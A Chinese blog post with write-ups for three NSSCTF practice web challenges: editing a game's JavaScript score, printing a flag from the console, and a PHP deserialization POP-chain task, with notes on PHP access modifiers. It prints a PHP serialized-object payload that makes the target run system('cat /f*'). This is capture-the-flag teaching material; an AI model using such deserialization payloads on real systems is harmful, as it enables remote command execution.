nss刷题(2)

1、[NSSCTF 2022 Spring Recruit]ezgame

打开题目是一个游戏界面

发现是有分数的,猜测分数达到某个之后可以获得flag,查看源码看一下

看到末尾显示分数超过65后显示flag

在js中找到了一个score,将他的值改为大于65的数后随意玩一次就可以得到flag同时,也可以直接搜索nss找到flag

2、[HNCTF 2022 Week1]2048

也是一个类似游戏的题,提示超过2000分可以输出flag,想到应该可以修改js获取

找到了输出条件和输出flag的代码,考虑是否可以直接输出

直接在控制台输出,得到flag

3、[SWPUCTF 2022 新生赛]ez_1zpop

打开后是一段代码,应该是php序列化与反序列化

    类内部:是指类定义的内部,即类名后大括号{ }内部。
    类外部:是指类定义的外部内容,即类名后大括号{}之外的所有地方。
    类成员的访问权限控制分为:内部访问(私有的private)。内部访问(受保护protected)和全部访问(公有public)。

1、public 公开的

公开的属性或函数,可在类内部、外部访问
public $name='BMW'
public function XXX{}
2、protected 受保护的

受保护的属性或函数,只能在类及其子类、父类间内部访问。若想在外部访问,需要设置引用方法。
protected $color='blue'
3、 private 私有的

私有的属性或函数,只能在当前类的内部访问,若想在外部访问,需要设置引用方法。

__construct(),类的构造函数

php中构造方法是对象创建完成后第一个被对象自动调用的方法。在每个类中都有一个构造方法,如果没有显示地声明它,那么类中都会默认存在一个没有参数且内容为空的构造方法。

1、 构造方法的作用

通常构造方法被用来执行一些有用的初始化任务,如对成员属性在创建对象时赋予初始值。

2、 构造方法的在类中的声明格式

 

function __constrct([参数列表]){

  方法体 //通常用来对成员属性进行初始化赋值

}

审计代码,首先要让impo不能等于dxg,最后输出应该是在类lt的__destruct()方法中的echo。所以我们要让impo=new fin()才可以。那么就需要绕过__wakeup()中的return,然后让impo再次赋值。并且让fin中的$b->$a($title)与system('ls /')效果一样,那么就是$a为system,$title为ls /就可以了

构造payload:

<?php
error_reporting(0);

class lt
{
    public $impo ;
    public $md51 = 's878926199a';
    public $md52 = 's155964671a';

}

class fin
{
    public $a='system';
    public $url = 'https://www.ctfer.vip';
    public $title='ls /';

}
$a=new lt();
$a->impo=new fin();
echo serialize($a);

构造最终payload:

?NSS=O:2:"lt":4:{s:4:"impo";O:3:"fin":2:{s:1:"a";s:6:"system";s:5:"title";s:7:"cat /f*";}s:4:"md51";a:1:{i:0;i:1;}s:4:"md52";a:1:{i:0;i:2;}}

得到最后的flag

相关知识拓展:

pop链简介:

它是一种面向属性编程,常用于构造调用链的方法。在题目中的代码里找到一系列能调用的指令,并将这些指令整合成一条有逻辑的能达到恶意攻击效果的代码,就是pop链(个人理解,欢迎师傅们提出意见)在构造pop链中,魔术方法必不可少。下面将通过一个例题来说pop链是怎么构造的,以及具体构造的思路。

pop链构造:

一般的反序列化题目,存在漏洞或者能注入恶意代码的地方在魔术方法中,我们可以通过自动调用魔术方法来达到攻击效果。但是当注入点存在普通的类方法中,通过前面自动调用的方法就失效了,所以我们需要找到普通类与魔术方法之间的联系,理出一种逻辑思路,通过这种逻辑思路来构造一条pop链,从而达到攻击的目的。所以我们在做这类pop题目一定要紧盯魔术方法。

构造方式:

POP链:unserialize函数(变量可控)–>wakeup()魔术⽅法–>tostring()魔术⽅法–>get魔术⽅法–>invoke魔术⽅法–>触发Read类中的file_get⽅法–>触发file_get_contents函数读取flag.php

原文参考:CTF-PHP反序列化漏洞3-构造POP链-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/836086.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【设计模式】之代理模式(两种)

系列文章目录 &#xff08;其他设计模式可以参考 &#x1f449;&#x1f449;&#x1f449;&#xff09;设计模式_小杰不秃头的博客 &#x1f60a;&#x1f604;&#x1f61b; 前言 今天继续给大家介绍23种设计模式中的代理模式&#xff0c;熟悉Spring的小伙伴都知道&#xf…

文心一言指令:解锁AI写作的新纪元

文心一言指令&#xff1a;解锁AI写作的新纪元 一、引言 在人工智能&#xff08;AI&#xff09;飞速发展的今天&#xff0c;自然语言处理&#xff08;NLP&#xff09;技术取得了显著的进步。文心一言&#xff0c;作为NLP领域的一颗璀璨明星&#xff0c;以其强大的文本生成和指令…

可行性判定(c++)

可行性判定 当前有 N 件物品和一个容积为 V 的背包。 已知第 i 件物品的体积是 ci​&#xff0c;每种物品有且仅有一件&#xff0c;每一件物品能够选择放或者不放入背包。 现在我们不考虑物品的价值&#xff0c;只关心是否能够取出若干个物品&#xff0c;恰好使这个背包被装…

Adobe Animate 2024软件下载

Adobe Animate 2024软件下载&#xff1a; 百度网盘下载https://pan.baidu.com/s/1cQQCFL16OUY1G6uQWgDbSg?pwdSIMS Adobe Animate 2024&#xff0c;作为Flash技术的进化顶点&#xff0c;是Adobe匠心打造的动画与交互内容创作的旗舰软件。这款工具赋予设计师与开发者前所未有的…

day05-面向对象内存原理和数组

day05 面向对象内存原理和数组 我们在之前已经学习过创建对象了,那么在底层中他是如何运行的。 1.对象内存图 1.1 Java 内存分配 Java 程序在运行时&#xff0c;需要在内存中分配空间。为了提高运算效率&#xff0c;就对空间进行了不同区域的划分&#xff0c;因为每一片区域…

Redis的数据完全是存在内存中的吗?

是的&#xff0c;Redis的数据完全是存储在内存中的。这也是Redis能够提供非常高速的读写性能的主要原因&#xff0c;尤其适用于需要快速响应的应用场景。然而&#xff0c;虽然Redis将所有数据存储在内存中&#xff0c;但它也提供了持久化机制&#xff0c;可以将数据异步地保存到…

【LeetCode算法】242. 有效的字母异位词

提示&#xff1a;此文章仅作为本人记录日常学习使用&#xff0c;若有存在错误或者不严谨得地方欢迎指正。 文章目录 一、题目二、思路三、解决方案 一、题目 给定两个字符串 s 和 t &#xff0c;编写一个函数来判断 t 是否是 s 的字母异位词。 注意&#xff1a;若 s 和 t 中每…

docker搭建redis6.0(docker rundocker compose演示)

文章讲了&#xff1a;docker下搭建redis6.0.20遇到一些问题&#xff0c;以及解决后的最佳实践方案 文章实现了&#xff1a; docker run搭建redisdocker compose搭建redis 搭建一个redis’的过程中遇到很多问题&#xff0c;先简单说一下搭建的顺序 找一个redis.conf文件&…

当代 Qt 正确的 安装方法 及 多版本切换

此文写于 20240511 首先去网站Index of /official_releases/online_installers下载一个安装器 安装器有什么用? 可以浏览安装版本 安装组件 安装器版本越能 能装的东西越多 现在只能选Qt5 和 Qt6 至于你公司用的Qt4 我也没招 见招时再拆招 安装器 默认国外源 可以换国内…

C# 不用lock写一个多线程程序

多线程并发 当一段代码有可能被不止一个线程同时访问时&#xff0c;且存在共享资源(变量、文件句柄等)&#xff0c;可能出现并发冲突。发生并发冲突时如果不加锁&#xff0c;程序的行为是不可预测的。而加锁本身又是一件麻烦事&#xff0c;弄不好会出现死锁&#xff0c;死锁时程…

嵌入式全栈开发学习笔记---C语言笔试复习大全15

目录 指针运算 笔试题17 思考&#xff1a;*px、*px和(*px)的区别&#xff01; 笔试题18 补充命令8&#xff1a;“cd ..”退回到上一级目录 补充命令9&#xff1a;“man 3 函数名”可以查看库函数的原型 const 修饰指针是什么意思&#xff1f;&#xff08;笔试重点&#…

浅谈var let const

浅谈var let const var 在ES5中&#xff0c;顶层对象的属性和全局变量是等价的&#xff0c;用var声明的变量既是全局变量&#xff0c;也是顶层变量 var a 10; console.log(window.a) // 10使用var声明的变量存在变量提升的情况 console.log(a) // undefined var a 20// 编…

【C++语言】模板

当谈到C中的模板时&#xff0c;我们在谈论一种强大的工具&#xff0c;它允许程序员编写通用的代码&#xff0c;而不必为特定类型编写多个版本。模板使得编写可重用和灵活的代码变得更加容易&#xff0c;因为它们允许您编写与任何数据类型一起使用的通用算法和数据结构。 什么是…

C++入门指南(上)

目录 ​编辑 一、祖师爷画像 二、什么是C 三、C发展史 四、C在工作领域的应用 1. 操作系统以及大型系统软件开发 2. 服务器端开发 3. 游戏开发 4. 嵌入式和物联网领域 5. 数字图像处理 6. 人工智能 7. 分布式应用 五、如何快速上手C 一、祖师爷画像 本贾尼斯特劳斯…

第二届“盘古石杯”全国电子数据取证大赛wp

服务器取证 先对网站进行重构 [rootstudy ~]# docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 643626ab3d8b mattermost/mattermost-pre…

Linux部署

先把需要的东西准备好&#xff1a; 第一步解压tomcat&#xff1a; tar -zxvf apache-tomcat-8.5.20.tar.gz 第二步解压jdk: tar -zxvf jdk-8u151-linux-x64.tar.gz 第三步配置Java环境变量&#xff1a; vim /etc/profile 把下面代码放进去&#xff1a; export JAVA_HOME/root…

dell服务器安装ubuntu18.04桌面版教程

目录 一、制作U盘启动盘 1.镜像下载地址&#xff1a; 2.制作U盘启动盘 二、服务器进入bios一系列设置 1.插入U盘启动盘 2.开机过程按F11键&#xff0c;进入Boot Manager &#xff0c;点击 3.点击点击One-shot BIOS Boot Menu 4.进入boot menu ,找到U盘&#xff08;一般…

react18【系列实用教程】useContext —— Context 机制实现越层组件传值 (2024最新版)

什么是 Context 机制&#xff1f; Context 机制是 react 实现外层组件向内层组件传值的一种方案&#xff0c;父组件可以向其内部的任一组件传值&#xff0c;无论是子组件还是孙组件或更深层次的组件。 实现步骤 1.使用createContext方法创建一个上下文对象 Ctx 2.在顶层组件中通…

基于springboot的校园闲置物品交易系统

文章目录 项目介绍主要功能截图:部分代码展示设计总结项目获取方式🍅 作者主页:超级无敌暴龙战士塔塔开 🍅 简介:Java领域优质创作者🏆、 简历模板、学习资料、面试题库【关注我,都给你】 🍅文末获取源码联系🍅 项目介绍 基于springboot的校园闲置物品交易系统,…

云南区块链商户平台:抓包技术自制开票工具(三)

前言 上节我们将登录的流程梳理完毕了&#xff0c;来到了本章重点&#xff0c;既然开发票就肯定要有以下参数&#xff1a; 原工具不支持识别历史记录&#xff0c;对于我们的小商店来说&#xff0c;开票的公司基本就是固定的几个&#xff0c;如果提供下拉支持选择将会大大降低…